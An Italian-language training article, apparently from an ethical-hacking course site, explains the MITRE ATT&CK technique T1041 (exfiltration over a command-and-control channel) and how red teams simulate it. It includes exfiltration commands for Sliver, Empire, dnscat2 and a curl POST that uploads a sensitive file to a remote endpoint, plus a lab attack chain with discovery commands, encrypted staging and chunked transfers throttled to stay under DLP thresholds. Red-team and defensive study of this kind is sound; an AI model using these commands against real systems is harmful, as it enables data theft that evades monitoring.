Esfiltrazione sul Canale C2: Exfiltration Over C2 Channel (T1041)

La tecnica T1041 - Exfiltration Over C2 Channel descrive il furto di dati veicolato sullo stesso canale di comando e controllo già stabilito dall'attaccante. I dati raccolti vengono codificati e trasmessi riutilizzando il protocollo applicativo del C2, tipicamente HTTP/HTTPS, ma anche DNS, SMTP/IMAP o API di servizi cloud come Dropbox, OneDrive e Microsoft Graph.

Dal punto di vista tattico la tecnica ricade in TA0010 (Exfiltration), la fase in cui l'avversario ha completato collection e staging e cerca di portare fuori perimetro il bottino. Nella kill chain di Lockheed Martin corrisponde alla fase Actions on Objectives, dove il valore per la vittima si concretizza in perdita di proprietà intellettuale, PII o credenziali.

L'impatto è massivo: la matrice MITRE ATT&CK associa a T1041 ben 25 gruppi APT, 156 famiglie di malware e 10 campagne documentate, dalla campagna cinese Operation Wocao all'operazione iraniana HomeLand Justice contro l'Albania, fino a ArcaneDoor sui router Cisco. La popolarità deriva dall'economia operativa: riusare il canale C2 riduce il rumore di rete, evita nuove connessioni sospette verso destinazioni sconosciute e sfrutta protocolli tipicamente autorizzati in uscita. Per il difensore la sfida è discriminare, all'interno di flussi HTTPS legittimi, quelli che trasportano dati sottratti.

In un'ingaggio red team la simulazione di T1041 serve a validare DLP, egress filtering e capacità di baseline del traffico. L'approccio consigliato è usare gli stessi framework C2 che gli attaccanti reali usano, così da riprodurre pattern realistici.

Con Sliver (open source), dopo aver stabilito un implant, l'esfiltrazione di un file avviene con il comando download /path/to/target/file.docx dalla console operator. Il traffico viaggia sul transport già negoziato (mTLS, HTTP, DNS o WireGuard) e Sliver applica cifratura Curve25519 sul payload, rendendo l'analisi del contenuto opaca senza TLS inspection.

Con Empire (open source, fork BC-Security), l'esfiltrazione sfrutta il modulo collection/file_finder seguito da download sull'agent; il canale HTTP listener incapsula i dati in POST verso l'endpoint C2. Per test più realistici su ambienti hardened si può usare Cobalt Strike (a pagamento) con Malleable C2 profile che mimano User-Agent e URI di CDN legittime; il comando download nel Beacon esegue chunked transfer sul canale HTTPS.

Per scenari cloud-mimicking, PoshC2 (open source) e Mythic (open source) supportano listener che si travestono da traffico Office 365 o Google Workspace. Su macOS un test valido è replicare il comportamento di MacMa usando curl -X POST --data-binary @/Users/target/Documents/sensitive.pdf https:///upload dentro un binario firmato ad hoc per verificare le regole di LuLu o Little Snitch.

Su Linux, per emulare tunneling via DNS come fa Shark, il tool dnscat2 (open source) permette dnscat2 --secret= lato client con esfiltrazione dei file tramite comando shell interattivo o upload nativo.

Catena d'attacco tipica in laboratorio:

  1. Deploy implant via phishing simulato o exploit lab-safe
  2. Stabilire callback HTTPS con jitter e sleep realistici (300-600 secondi)
  3. Eseguire discovery locale con comandi nativi (whoami /all, systeminfo, net group "Domain Admins" /domain)
  4. Staging in %TEMP% di un archivio cifrato con 7-Zip (open source) tramite 7z a -p -mhe=on staged.7z C:\Users\target\Documents*
  5. Esfiltrazione a chunk di 512KB con throttling per rimanere sotto le soglie DLP

Documenta sempre nel report la dimensione totale trasferita, la durata e i tempi di rilevazione: sono le metriche che il blue team userà per calibrare i propri controlli.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.